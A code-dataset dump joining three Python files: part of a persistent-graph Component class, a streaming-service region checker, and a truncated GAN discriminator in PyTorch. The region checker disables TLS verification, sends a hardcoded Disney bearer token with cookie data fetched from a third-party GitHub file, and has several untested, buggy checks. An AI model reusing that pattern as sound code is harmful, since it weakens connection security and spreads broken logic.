List[Sequence[float]],\n ratios2: List[Sequence[float]]\n ) -> List[Sequence[float]]:\n \"\"\"\n Compute intersection of ratios\n\n :param ratios1: First list of ratios\n :type ratios1: List[Sequence[float]]\n :param ratios2: Second list of ratios\n :type ratios2: List[Sequence[float]]\n :return: Intersection of list of ratios\n :rtype: List[Sequence[float]]\n \"\"\"\n\n return intersection_intervals(ratios1, ratios2)\n\n @staticmethod\n def ratio_union(\n ratios1: List[Sequence[float]],\n ratios2: List[Sequence[float]]\n ) -> List[Sequence[float]]:\n \"\"\"\n Compute union of ratios\n\n :param ratios1: First list of ratios\n :type ratios1: List[Sequence[float]]\n :param ratios2: Second list of ratios\n :type ratios2: List[Sequence[float]]\n :return: Intersection of list of ratios\n :rtype: List[Sequence[float]]\n \"\"\"\n return union_intervals(ratios1, ratios2)\n\n @staticmethod\n def contemporaries(c1, c2, verbose=False) -> bool:\n \"\"\"\n Check if two components are contemporaries\n\n Useful before defining an edge for example\n\n :param c1: Component 1\n :type c1: Component\n :param c2: Component 2\n :type c2: Component\n :param verbose: if warnings should be printed, defaults to False\n :type verbose: bool, optional\n :return: True if they are contemporaries, False otherwise\n :rtype: bool\n \"\"\"\n # If c1 is dead before c2 is even born\n # Or if c2 is dead before c1 is even born\n ratios = Component.ratio_intersection(c1.score_ratios, c2.score_ratios)\n if ratios == []:\n if verbose:\n print(\"WARNING: Components are not contemporaries\")\n print(\"c1 ratios: \", c1.score_ratios)\n print(\"c2 ratios: \", c2.score_ratios)\n return False\n else:\n return True\n\n @staticmethod\n def have_common_members(c1, c2) -> bool:\n \"\"\"\n Efficiently checks if two components have common members\n \"\"\"\n return bool(set(c1.members).intersection(set(c2.members)))\n\n @staticmethod\n def common_members(c1, c2, verbose=False) -> List[int]:\n \"\"\"\n Return common members of 2 components\n\n Useful before defining an edge for example\n\n :param c1: Component 1\n :type c1: Component\n :param c2: Component 2\n :type c2: Component\n :param verbose: if warnings should be printed, defaults to False\n :type verbose: bool, optional\n :return: List of common members\n :rtype: List[int]\n \"\"\"\n members = c1.get_common_elements(c2)\n\n if verbose and not members:\n print(\"WARNING: No common members\")\n return members\n\n def __init__(\n self,\n t: int = None,\n num: int = None,\n members : List[int] = [],\n score_ratios: Sequence[float] = None,\n total_nb_members: int = None,\n ):\n self.__key: int = Component.key_incr\n self.num = num\n self.time_step = t\n self.members = members\n self._compute_ratio_members(total_nb_members = total_nb_members)\n self.score_ratios = score_ratios\n\n Component.key_incr += 1\n\n def reset_key_incr(self):\n Component.key_incr = 0\n\n def is_alive(self, ratio: float) -> bool:\n \"\"\"\n Check if the component is alive at that ratio\n\n :param ratio: _description_\n :type ratio: float\n :return: True if the component is alive at that ratio\n :rtype: bool\n \"\"\"\n alive = False\n for (ratio_birth, ratio_death) in self.__score_ratios:\n alive |= ratio > ratio_birth and ratio <= ratio_death\n return alive\n\n def has_member(self, m: int) -> bool:\n \"\"\"\n Check if a member belongs to the component\n\n Assume that Component.members are sorted\n\n :param m: index of the member to find\n :type m: int\n :return: True if self has this member, False otherwise\n :rtype: List[int]\n \"\"\"\n return has_element(self.__members, m, len_l = self.nb_members)\n\n def get_common_members(\n self,\n cmpt,\n ) -> List[int]:\n \"\"\"\n Return the common members between self and cmpt\n\n Assume that Component.members are sorted\n\n :param cmpt: Component to compare to\n :type cmpt: Component\n :return: Common members\n :rtype: List[int]\n \"\"\"\n return get_common_elements(self.__members, cmpt.members)\n\n def _compute_ratio_members(self, total_nb_members: int) -> None:\n \"\"\"\n We use this extra auxiliary function on top of the setter\n to use `total_nb_members`.\n\n :param total_nb_members: Size of the ensemble\n :type total_nb_members: int\n \"\"\"\n if total_nb_members is None or self.nb_members is None:\n self.__ratio_members = None\n else:\n ratio_members = self.nb_members/total_nb_members\n self.ratio_members = ratio_members\n\n @property\n def key(self) -> int:\n \"\"\"\n Number of the component (unique in the entire graph).\n\n :rtype: int\n \"\"\"\n return self.__key\n\n @property\n def num(self) -> int :\n \"\"\"\n Number of the component (unique at that time step).\n\n :rtype: int\n \"\"\"\n return self.__num\n\n @num.setter\n def num(self, num: int):\n \"\"\"\n Number of the component (unique at that time step).\n\n :type num: int\n :raises ValueError: If ``num`` is not > 0\n \"\"\"\n if num is not None:\n check_int_positive(num, 'num')\n self.__num = int(num)\n else:\n self.__num = None\n\n @property\n def time_step(self) -> int:\n \"\"\"\n Time step at which Component exists.\n\n :rtype: int\n \"\"\"\n return self.__time_step\n\n @time_step.setter\n def time_step(self, t: int):\n check_int_positive(t, 'time_step')\n self.__time_step = int(t)\n\n @property\n def members(self) -> List[int]:\n \"\"\"\n Ordered list of members indices belonging to Component.\n\n :rtype: List[int]\n \"\"\"\n return self.__members\n\n @members.setter\n def members(self, members: List[int]):\n if members is not None:\n check_all_int_positive(members, 'members')\n self.__members = [int(m) for m in members]\n self.__nb_members = len(members)\n else:\n self.__members = []\n\n @property\n def ratio_members(self) -> float:\n \"\"\"\n Ratio of members belonging to Component: ``nb_members`` / N.\n By definition, `ratio_members` is within [0, 1] range.\n\n :rtype: float\n \"\"\"\n return self.__ratio_members\n\n @ratio_members.setter\n def ratio_members(self, ratio_members):\n check_O1_range(ratio_members, 'Ratio members')\n self.__ratio_members = ratio_members\n\n @property\n def nb_members(self) -> int:\n \"\"\"\n Number of members belonging to Component.\n\n :rtype: int\n \"\"\"\n return self.__nb_members\n\n @nb_members.setter\n def nb_members(self, nb_members):\n self.__nb_members = int(nb_members)\n\n @property\n def score_ratios(self) -> Sequence[float]:\n \"\"\"\n List of sequences (`ratio_birth`, `ratio_death`).\n\n By convention, `ratio_birth` is worse (in terms of corresponding\n scores) than `ratio_death`. By convention, `ratio_birth` is\n lower than `ratio_death` (in terms of ratio).\n\n This means that `ratio_birth` <= `ratio_death` even\n when `score_birth` > `score_death`.\n Both `ratio_birth` and`ratio_death` are within $[0,\n 1]$ range.\n\n Score ratios for components are derived from score ratios of\n local steps in the graph $r_{t,s}$. See\n `PersistentGraph.local_steps` for more information on step score\n ratios and step life spans.\n\n Definitions of score ratios and life spans in graph\n local steps:\n\n - $r_{t,s}$ = (score_{t,s} - sco / score_bounds_{t]})\n - The \"improvement\" of assuming $k_t,s$ is defined as\n $r_{t,s} - r_{t,s-1}$\n - The \"cost\" of assuming $k_t,s$ is defined as\n $r_{t,s+1} - r_{t,s}$\n - By default, the \"life span\" of the assumption $k_t,s$ is\n defined as its improvement. Note that according to this\n definition of life span, `ratio_scores` refers to the death\n ratio of the step. See `PersistentGraph.local_steps` for more\n information on scores, ratios and life spans.\n\n For a component `c`, the life span is defined as the\n improvement of ratio between the last assumption before `c` was\n created and the ratio of the best assumption where `c` is still\n alive, that means ratio at which `c` dies.\n\n :rtype: List[Sequence[float]]\n \"\"\"\n return self.__score_ratios\n\n @score_ratios.setter\n def score_ratios(self, score_ratios):\n if score_ratios is None:\n self.__score_ratios = None\n self.__life_span = None\n else:\n life_span = 0\n self.__score_ratios = []\n for ratios in score_ratios:\n if len(ratios) != 2:\n raise ValueError(\"score_ratios should be a sequence of 2 elements\")\n\n check_O1_range(ratios[0], 'Ratio birth')\n check_O1_range(ratios[1], 'Ratio death')\n check_is_leq(ratios, '[ratio_birth, ratio_death]')\n\n self.__score_ratios.append(ratios)\n\n # LIFE SPAN\n # Note: ratio death must always be >= ratio_birth\n # Note: life_span is with 0-1 range\n life_span += ratios[1] - ratios[0]\n self.__life_span = life_span\n\n @property\n def life_span(self) -> float:\n \"\"\"\n Life span of Component: ``ratio_death`` - ``ratio_birth``. This\n holds regardless of the type of score, convention on the\n definition of life span and type of component (vertex or edge).\n\n See `PersistentGraph.local_steps` for more information on\n scores, ratios and life spans.\n\n :rtype: float\n \"\"\"\n return self.__life_span\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"nglm/persigraph","sub_path":"persigraph/persistentgraph/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34270362507","text":"#!/usr/bin/env python3\n\nimport json\nimport re\nfrom sre_constants import FAILURE\nimport requests\nfrom requests import exceptions\n\n\nclass OTTCheck(object):\n\n user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36\"\n dalvik_user_agent = \"Dalvik/2.1.0 (Linux; U; Android 9; ALP-AL00 Build/HUAWEIALP-AL00)\"\n default_timeout = 10\n cookie_file = None\n\n def __init__(self):\n pass\n\n def get_cookie_file_line(self, line):\n if not self.cookie_file:\n cookie_file = requests.get(\"https://raw.githubusercontent.com/lmc999/RegionRestrictionCheck/main/cookies\", timeout=self.default_timeout).text.split(\"\\n\")\n self.cookie_file = cookie_file\n return self.cookie_file[line - 1]\n\n def multination(self):\n print(\"Netflix -> {result}\".format(result=self.check_netflix()))\n print(\"Dazn -> {result}\".format(result=self.check_dazn()))\n print(\"DisneyPlus -> {result}\".format(result=self.check_disneyplus()))\n print(\"Hotstar -> {result}\".format(result=self.check_hotstar()))\n print(\"YouTube Premium -> {result}\".format(result=self.check_youtube_premium()))\n print(\"Amazon Prime Video -> {result}\".format(result=self.check_prime_video()))\n\n def north_america(self):\n print(\"Fox -> {result}\".format(result=self.check_fox()))\n print(\"HBO Now -> {result}\".format(result=self.check_hbo_now()))\n print(\"HBO Max -> {result}\".format(result=self.check_hbo_max()))\n print(\"Fubo TV -> {result}\".format(result=self.check_fubo_tv()))\n print(\"Sling TV -> {result}\".format(result=self.check_sling_tv()))\n print(\"Pluto TV -> {result}\".format(result=self.check_pluto_tv()))\n\n def europe(self):\n print(\"Sky Go -> {result}\".format(result=self.check_sky_go()))\n print(\"Channel 4 -> {result}\".format(result=self.check_channel_4()))\n print(\"ITV Hub -> {result}\".format(result=self.check_itv_hub()))\n print(\"BBC iPlayer -> {result}\".format(result=self.check_bbc_iplayer()))\n print(\"Britbox -> {result}\".format(result=self.check_britbox()))\n\n def check_dazn(self):\n result = None\n response = None\n try:\n response = requests.post(\"https://startup.core.indazn.com/misl/v5/Startup\", headers={\n \"Content-Type\": \"application/json\"\n }, data=json.dumps({\n \"LandingPageKey\": \"generic\",\n \"Languages\": \"zh-CN,zh,en\",\n \"Platform\": \"web\",\n \"PlatformAttributes\": {},\n \"Manufacturer\": \"\",\n \"PromoCode\": \"\",\n \"Version\": \"2\"\n }), timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n response_json = response.json()\n if response_json[\"Region\"].get(\"isAllowed\") == True:\n result = \"Yes (Region: {region})\".format(region=response_json[\"Region\"][\"Country\"].upper())\n elif response_json[\"Region\"].get(\"isAllowed\") == False:\n result = \"No\"\n else:\n result = \"Unsupport\"\n return result\n\n def check_hotstar(self):\n result = None\n status_code = None\n try:\n status_code = requests.get(\"https://api.hotstar.com/o/v1/page/1557?offset=0&size=20&tao=0&tas=20\", headers={\n \"User-Agent\": self.user_agent\n }, timeout=self.default_timeout, verify=False).status_code\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if status_code == 401:\n region_headers = requests.head(\"https://www.hotstar.com\", headers={\n \"User-Agent\": self.user_agent\n }, verify=False).headers\n region = None\n for cookie in region_headers[\"Set-Cookie\"].split(\";\"):\n if re.search(\"geo=[A-Z]{2}\", cookie):\n region = re.search(\"geo=[A-Z]{2}\", cookie).group()[-2:]\n break\n site_region_url = requests.get(\"https://www.hotstar.com\", timeout=self.default_timeout, verify=False).url\n site_region = None\n for index, _ in enumerate(site_region_url.split(\"/\")):\n if \".com\" in _:\n site_region = site_region_url.split(\"/\")[index + 1].upper()\n break\n if region and (region == site_region):\n result = \"Yes (Region: {region})\".format(region=region)\n else:\n result = \"No\"\n elif status_code == 475:\n result = \"No\"\n else:\n result = \"Failed\"\n return result\n\n def check_disneyplus(self):\n basic_auth = \"Bearer ZGlzbmV5JmJyb3dzZXImMS4wLjA.Cu56AgSfBTDag5NiRA81oLHkDZfu5L3CKadnefEAY84\"\n result = None\n disney_cookie_urlencoded = self.get_cookie_file_line(1)\n disney_cookie = {_.split(\"=\")[0]: _.split(\"=\")[1] for _ in requests.utils.unquote(disney_cookie_urlencoded).split(\"&\")}\n token_content = requests.post(\"https://global.edge.bamgrid.com/token\", headers={\n \"authorization\": basic_auth,\n \"User-Agent\": self.user_agent\n }, data=disney_cookie, timeout=self.default_timeout)\n if (\"forbidden-location\" in token_content.text) or (\"403 ERROR\" in token_content.text): # need refinement: using json\n result = \"No\"\n return result\n refresh_token = token_content.json().get(\"refresh_token\")\n fake_content = self.get_cookie_file_line(8)\n disney_content = fake_content.replace(\"ILOVEDISNEY\", refresh_token)\n preview_check = requests.get(\"https://disneyplus.com\").url\n is_unavailable = (\"unavailble\" in preview_check)\n try:\n response = requests.post(\"https://disney.api.edge.bamgrid.com/graph/v1/device/graphql\", headers={\n \"authorization\": basic_auth,\n \"User-Agent\": self.user_agent\n }, data=disney_content, timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n response_json = response.json()\n region = response_json[\"extensions\"][\"sdk\"][\"session\"][\"location\"][\"countryCode\"]\n in_supported_location = response_json[\"extensions\"][\"sdk\"][\"session\"][\"inSupportedLocation\"]\n if region == \"JP\":\n result = \"Yes (Region: JP)\"\n elif (region and not in_supported_location and not is_unavailable):\n result = \"Available For [Disney+ {region}] Soon\".format(region=region)\n elif (region and is_unavailable):\n result = \"No\"\n elif (region and in_supported_location):\n result = \"Yes (Region: {region})\".format(region=region)\n elif not region:\n result = \"No\"\n else:\n result = \"Failed\"\n return result\n\n def check_netflix(self):\n result = None\n status_code = None\n try:\n status_code = requests.get(\"https://www.netflix.com/title/81215567\", headers={\n \"User-Agent\": self.user_agent\n }, timeout=self.default_timeout).status_code\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if status_code == 404:\n result = \"Originals Only\"\n elif status_code == 403:\n result = \"No\"\n elif status_code == 200:\n region_url = requests.get(\"https://www.netflix.com/title/80018499\", headers={\n \"User-Agent\": self.user_agent\n }, timeout=self.default_timeout, allow_redirects=False).headers.get(\"location\")\n region = region_url.split(\"/\")[3].split(\"-\")[0].upper() if region_url else \"US\"\n result = \"Yes (Region: {region})\".format(region=region)\n else:\n result = \"Failed (Network Connection)\"\n return result\n\n def check_youtube_premium(self):\n result = None\n response = None\n try:\n response = requests.get(\"https://www.youtube.com/premium\", headers={\n \"Accept-Language\": \"en\"\n }).text\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n region = re.search(r'\"countryCode\":\"[A-Z]{2}\"', requests.get(\"https://www.youtube.com/premium\", headers={\n \"User-Agent\": self.user_agent,\n }, timeout=self.default_timeout).text)\n if not region:\n region = \"CN\" if \"www.google.cn\" in response else \"US\"\n else:\n region = region.group().split('\"')[3]\n if \"Premium is not available in your country\" in response:\n result = \"No (Region: {region})\".format(region=region)\n return result\n if \"YouTube and YouTube Music ad-free\" in response:\n result = \"Yes (Region: {region})\".format(region=region)\n else:\n result = \"Failed\"\n return result\n\n def check_prime_video(self):\n result = None\n response = None\n try:\n response = requests.get(\"https://www.primevideo.com\", headers={\n \"User-Agent\": self.user_agent\n }, timeout=self.default_timeout, verify=False).text\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n region = re.search(r'\"currentTerritory\":\"[A-Z]{2}\"', response)\n if region:\n region = region.group().split('\"')[3]\n result = \"Yes (Region: {region})\".format(region=region)\n else:\n result = \"Unsupported\"\n return result\n \n def check_fox(self): # TODO: test\n result = None\n response = None\n status_code = None\n try:\n response = requests.get(\"https://x-live-fox-stgec.uplynk.com/ausw/slices/8d1/d8e6eec26bf544f084bad49a7fa2eac5/8d1de292bcc943a6b886d029e6c0dc87/G00000000.ts?pbs=c61e60ee63ce43359679fb9f65d21564&cloud=aws&si=0\", timeout=self.default_timeout, verify=False)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network connection)\"\n status_code = response.status_code\n if status_code == 200:\n result = \"Yes\"\n elif status_code == 403:\n result = \"No\"\n else:\n failed_result = response.text\n result = \"Failed (Unexpected result: {failed_result})\".format(failed_result=failed_result)\n return result\n\n def check_hbo_now(self): # TODO: test\n result = None\n try:\n redirect_url = requests.get(\"https://play.hbonow.com/\", headers={\n \"User-Agent\": self.user_agent\n }, timeout=self.default_timeout).url\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if redirect_url in [\"https://play.hbonow.com\", \"https://play.hbonow.com/\"]:\n result = \"Yes\"\n elif redirect_url in [\"http://hbogeo.cust.footprint.net/hbonow/geo.html\", \"http://geocust.hbonow.com/hbonow/geo.html\"]:\n result = \"No\"\n else:\n result = \"Failed (Network Connection)\"\n return result\n \n def check_hbo_max(self): # TODO: test\n result = None\n try:\n redirect_url = requests.get(\"https://www.hbomax.com/\", timeout=self.default_timeout, verify=False).url\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n is_unavailable = \"geo-availability\" in redirect_url\n region = redirect_url.split(\"/\")[3].upper() if len(redirect_url.split(\"/\")) > 3 else None\n if is_unavailable:\n result = \"No\"\n elif region:\n result = \"Yes (Region: {region})\".format(region=region)\n else:\n result = \"Yes\"\n return result\n\n def check_fubo_tv(self): # TODO: test\n result = None\n response = None\n try:\n response = requests.get(\"https://www.fubo.tv/welcome\", timeout=self.default_timeout, verify=False).text\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n region = re.search('\"countryCode\":\"\\w+\"', response).group().split('\"')[3]\n result = (region == \"USA\")\n return result\n\n def check_sling_tv(self): # TODO: test\n result = None\n status_code = None\n try:\n status_code = requests.get(\"https://www.sling.com/\", headers={\n \"User-Agent\": self.dalvik_user_agent\n }, verify=False, timeout=self.default_timeout).status_code\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if status_code == 200:\n result = \"Yes\"\n elif status_code == 403:\n result = \"No\"\n else:\n result = \"Failed (Unexpected result: {status_code})\".format(status_code=status_code)\n return result\n\n def check_pluto_tv(self): # TODO: test\n result = None\n redirect_url = None\n try:\n redirect_url = requests.get(\"https://pluto.tv/\", verify=False, timeout=self.default_timeout).url\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if \"thanks-for-watching\" in redirect_url:\n result = \"No\"\n else:\n result = \"Yes\"\n return result\n\n def check_sky_go(self): # TODO: test\n result = None\n response = None\n try:\n response = requests.get(\"https://skyid.sky.com/authorise/skygo?response_type=token&client_id=sky&appearance=compact&redirect_uri=skygo://auth\", verify=False, timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if \"You don't have permission to access\" in response:\n result = \"No\"\n else:\n result = \"Yes\"\n return result\n\n def check_channel_4(self): # TODO: test\n result = None\n response = None\n try:\n response = requests.get(\"https://ais.channel4.com/simulcast/C4?client=c4\", verify=False, timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n status = re.search(r'status=\"[A-Z]+\"', response)\n if status:\n if \"ERROR\" in status.group():\n result = \"No\"\n elif \"OK\" in status.group():\n result = \"Yes\"\n else:\n result = \"Failed (Unexpected result: {status})\".format(status=status.group())\n else:\n result = \"Failed (Network Connection)\"\n return result\n\n def check_itv_hub(self): # TODO: test\n result = None\n status_code = None\n try:\n status_code = requests.get(\"https://simulcast.itv.com/playlist/itvonline/ITV\", verify=False, timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if status_code == 404:\n result = \"Yes\"\n elif status_code == 403:\n result = \"No\"\n else:\n result = \"Failed (Unexpected result: {status_code})\".format(status_code=status_code)\n return result\n\n def check_bbc_iplayer(self): # TODO: test\n result = None\n response = None\n try:\n response = requests.get(\"https://open.live.bbc.co.uk/mediaselector/6/select/version/2.0/mediaset/pc/vpid/bbc_one_london/format/json/jsfunc/JS_callbacks0\", headers={\n \"User-Agent\": self.user_agent\n }, verify=False, timeout=self.default_timeout)\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if response:\n if \"geolocation\" in response:\n result = \"No\"\n else:\n result = \"Yes\"\n else:\n result = \"Failed\"\n return result\n\n def check_britbox(self): # TODO: test\n result = None\n redirect_url = None\n try:\n redirect_url = requests.get(\"https://www.britbox.com/\", verify=False, timeout=self.default_timeout).url\n except requests.exceptions.ConnectTimeout as e:\n result = \"Failed (Network Connection)\"\n return result\n if redirect_url:\n if \"locationnotsupported\" in redirect_url:\n result = \"No\"\n else:\n result = \"Yes\"\n else:\n result = \"Failed\"\n return result\n\n\noc = OTTCheck()\nprint(oc.multination())\nprint(oc.north_america())\nprint(oc.europe())\n","repo_name":"HankChow/OTT-Check","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":17205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4011676838","text":"import torch\nfrom torch import nn\nfrom torch.nn.utils import spectral_norm as SN\nfrom models.model_modules import DResBlock, SA, Reshape\n\n\nclass Discriminator(nn.Module):\n \"\"\"\n This class consists of a single image discriminator, action-conditioned discriminator, \n and temporal discriminator\n \"\"\"\n\n def __init__(self, batch_size, model_arch_dict, action_space, img_size, hidden_dim, neg_slope, \n temporal_window, z_dim):\n super(Discriminator, self).__init__()\n self.batch_size = batch_size\n self.img_size = img_size\n self.neg_slope = neg_slope\n self.temporal_window = temporal_window\n\n self.single_disc = SingleImageDiscriminator(model_arch_dict)\n self.act_cond_disc = ActionConditionedDiscriminator(action_space, img_size, hidden_dim, neg_slope, z_dim)\n self.tempo_disc = TemporalDiscriminator(self.batch_size, self.img_size, self.temporal_window, self.neg_slope)\n\n def forward(self, imgs, actions, num_warmup_frames, real_frames, neg_actions=None):\n # shape of imgs: (total steps - 1) * bs, c, h, w)\n # shape of actions: [(bs, action_space) * num_steps]\n # shape of real_frames: [(bs, 3, h, w) * num_steps]\n\n # change of shape after concat: [(bs, 3, h, w) * warmup_steps] -> (bs * warmup_steps, 3, h, w)\n warmup_real_frames = torch.cat(real_frames[:num_warmup_frames], dim=0)\n\n # as for the input of the discriminator, it combines warmup_real_frames, which consist of warmup steps of\n # dataset frames, and imgs, which consist of total steps of generated or dataset frames.\n full_frame_preds, bottom_fmaps = self.single_disc(torch.cat([warmup_real_frames, imgs], dim=0))\n \n # only use the results correspoing to the imgs\n full_frame_preds = full_frame_preds[num_warmup_frames*self.batch_size:]\n x_t1_fmaps = bottom_fmaps[num_warmup_frames*self.batch_size:]\n \n # take fmaps of warmup steps and the rest of generated or real frames except the last step\n x_t0_fmaps = torch.cat([bottom_fmaps[:num_warmup_frames*self.batch_size],\n bottom_fmaps[(num_warmup_frames*2-1)*self.batch_size:-self.batch_size]],\n dim=0)\n\n act_preds, neg_act_preds, act_recon, z_recon = self.act_cond_disc(actions, x_t0_fmaps, x_t1_fmaps, neg_actions)\n\n tempo_preds = self.tempo_disc(bottom_fmaps, num_warmup_frames)\n\n out = {}\n out['pred_frame_fmaps'] = x_t1_fmaps[:(len(real_frames)-1)*self.batch_size]\n out['act_preds'] = act_preds\n out['full_frame_preds'] = full_frame_preds\n out['tempo_preds'] = tempo_preds\n out['neg_act_preds'] = neg_act_preds\n out['act_recon'] = act_recon\n out['z_recon'] = z_recon\n return out\n\n\nclass SingleImageDiscriminator(nn.Module):\n\n def __init__(self, model_arch_dict, activation=nn.ReLU(inplace=False), out_dim=1):\n super(SingleImageDiscriminator, self).__init__()\n \"\"\"\n [vizdoom]\n {'in_channels': [3, 16, 32, 64, 128], \n 'out_channels': [16, 32, 64, 128, 256], \n 'downsample': [True, True, True, True, False], \n 'resolution': [32, 16, 8, 4, 4], \n 'attention': {4: False, 8: False, 16: False, 32: False, 64: True}}\n [gta]\n {'in_channels': [3, 16, 32, 64, 64, 64, 128, 128], \n 'out_channels': [16, 32, 64, 64, 64, 128, 128, 256], \n 'downsample': [True, True, False, False, True, True, False, False], \n 'resolution': [64, 32, 16, 8, 4, 4, 4, 4], \n 'attention': {4: False, 8: False, 16: False, 32: True, 64: True, 128: False}}\n \"\"\"\n\n self.model_arch_dict = model_arch_dict\n self.activation = activation\n\n self.blocks = []\n for i in range(len(self.model_arch_dict['out_channels'])):\n self.blocks.append(DResBlock(model_arch_dict['in_channels'][i],\n model_arch_dict['out_channels'][i],\n activation,\n model_arch_dict['downsample'][i],\n use_preactivation=(i > 0)))\n \n if model_arch_dict['attention'][model_arch_dict['resolution'][i]]:\n self.blocks.append(SA(model_arch_dict['out_channels'][i]))\n\n self.module_list = nn.ModuleList(self.blocks)\n self.last_linear = SN(nn.Linear(model_arch_dict['out_channels'][-1], \n out_dim, \n bias=True))\n\n self.init_weights()\n\n def init_weights(self):\n for module in self.modules():\n if (isinstance(module, nn.Conv2d) or isinstance(module, nn.Linear)):\n # orthogonal initalization is used in the original code\n nn.init.orthogonal_(module.weight)\n\n def forward(self, x):\n h = x\n for f in self.module_list:\n h = f(h)\n # shape of h: (bs, out_channels, h', w')\n h = self.activation(h)\n # Apply global sum pooling as in SN-GAN. It returns (bs, out_channels)\n out = torch.sum(h, [2, 3])\n out = self.last_linear(out)\n\n return out, h\n\n\nclass ActionConditionedDiscriminator(nn.Module):\n\n def __init__(self, action_space, img_size, hidden_dim, neg_slope, z_dim, debug=False):\n super(ActionConditionedDiscriminator, self).__init__()\n # In the original code, 256 is always used for the dim\n self.action_space = action_space\n self.debug = debug\n\n dim = 256\n kernel_size = (3, 5) if img_size[0] == 48 and img_size[1] == 80 else 4\n\n self.action_emb = nn.Linear(action_space, dim)\n # In the original code, BatchNorm is not used for block1 and block2\n # in the original paper, conv_for_x_t0_t1 acts as φ and ψ\n self.conv_for_x_t0_t1 = nn.Sequential(SN(nn.Conv2d(hidden_dim, dim,\n kernel_size=kernel_size,\n padding=0)),\n nn.LeakyReLU(neg_slope),\n Reshape((-1, dim)))\n self.last_linear_given_act = nn.Sequential(SN(nn.Linear(hidden_dim, hidden_dim)),\n nn.LeakyReLU(neg_slope),\n SN(nn.Linear(hidden_dim, 1)))\n\n self.reconstruct_action_z = nn.Linear(dim, action_space + z_dim)\n \n def forward(self, actions, x_t0_fmaps, x_t1_fmaps, neg_actions):\n neg_act_preds = None\n \n # predict for potive samples\n if not self.debug:\n act_emb = self.action_emb(torch.cat(actions, dim=0))\n else:\n act_emb = self.action_emb(actions)\n print('act_emb:', act_emb.shape)\n print('x_t0_fmaps:', x_t0_fmaps.shape)\n print('x_t1_fmaps:', x_t1_fmaps.shape)\n transit_vecs = self.conv_for_x_t0_t1(torch.cat([x_t0_fmaps, x_t1_fmaps], dim=1))\n act_preds = self.last_linear_given_act(torch.cat([act_emb, transit_vecs], dim=1))\n \n # predict for negative samples\n if neg_actions is not None:\n if not self.debug:\n neg_act_emb = self.action_emb(torch.cat(neg_actions, dim=0))\n else:\n neg_act_emb = self.action_emb(neg_actions)\n print('neg_act_emb:', neg_act_emb.shape)\n neg_act_preds = self.last_linear_given_act(torch.cat([neg_act_emb, transit_vecs], dim=1))\n\n # calculate reconstruction of actions and zs for an info loss and action loss \n act_z_recon = self.reconstruct_action_z(transit_vecs)\n act_recon = act_z_recon[:, :self.action_space]\n z_recon = act_z_recon[:, self.action_space:]\n\n if self.debug:\n print('act_preds:', act_preds.shape)\n print('neg_act_preds:', neg_act_preds.shape)\n print('act_recon:', act_recon.shape)\n print('z_recon:', z_recon.shape)\n return act_preds, neg_act_preds, act_recon, z_recon\n\n\nclass TemporalDiscriminator(nn.Module):\n\n def __init__(self, batch_size, img_size, temporal_window, neg_slope, num_filters=16, debug=False):\n super(TemporalDiscriminator, self).__init__()\n self.batch_size = batch_size\n self.debug = debug\n\n # arch hyper-params\n in_channels = num_filters * 16\n base_channels = 64\n if img_size[0] == 48 and img_size[1] == 80:\n kernel_size1 = (2, 2, 4)\n kernel_size2 = (3, 2, 2)\n else:\n kernel_size1 = (2, 2, 2)\n kernel_size2 = (3, 3, 3)\n stride1 = (1, 1, 1)\n stride2 = (2, 1, 1)\n first_logit_kernel = (2, 1, 1)\n first_logit_stride = (1, 1, 1)\n kernel_size3 = (3, 1, 1)\n stride3 = (1, 1, 1)\n second_logit_kernel = (3, 1, 1)\n second_logit_stride = (1, 1, 1)\n kernel_size4 = (3, 1, 1)\n stride4 = (2, 1, 1)\n third_logit_kernel = (4, 1, 1)\n third_logit_stride = (2, 1, 1)\n\n layers, logits = [], []\n\n # BatchNorms are not used in the original code\n first_layers = nn.Sequential(SN(nn.Conv3d(in_channels, base_channels, \n kernel_size1, stride1)),\n nn.LeakyReLU(neg_slope),\n SN(nn.Conv3d(base_channels, base_channels * 2, \n kernel_size2, stride2)),\n nn.LeakyReLU(neg_slope))\n \n first_logit = SN(nn.Conv3d(base_channels * 2, 1, first_logit_kernel, \n first_logit_stride))\n layers.append(first_layers)\n logits.append(first_logit)\n\n if temporal_window >= 12:\n second_layers = nn.Sequential(SN(nn.Conv3d(base_channels * 2, base_channels * 4, \n kernel_size3, stride3)),\n nn.LeakyReLU(neg_slope))\n \n second_logit = SN(nn.Conv3d(base_channels * 4, 1, second_logit_kernel, \n second_logit_stride))\n layers.append(second_layers)\n logits.append(second_logit)\n\n if temporal_window >= 18:\n third_layers = nn.Sequential(SN(nn.Conv3d(base_channels * 4, base_channels * 8, \n kernel_size4, stride4)),\n nn.LeakyReLU(neg_slope))\n \n 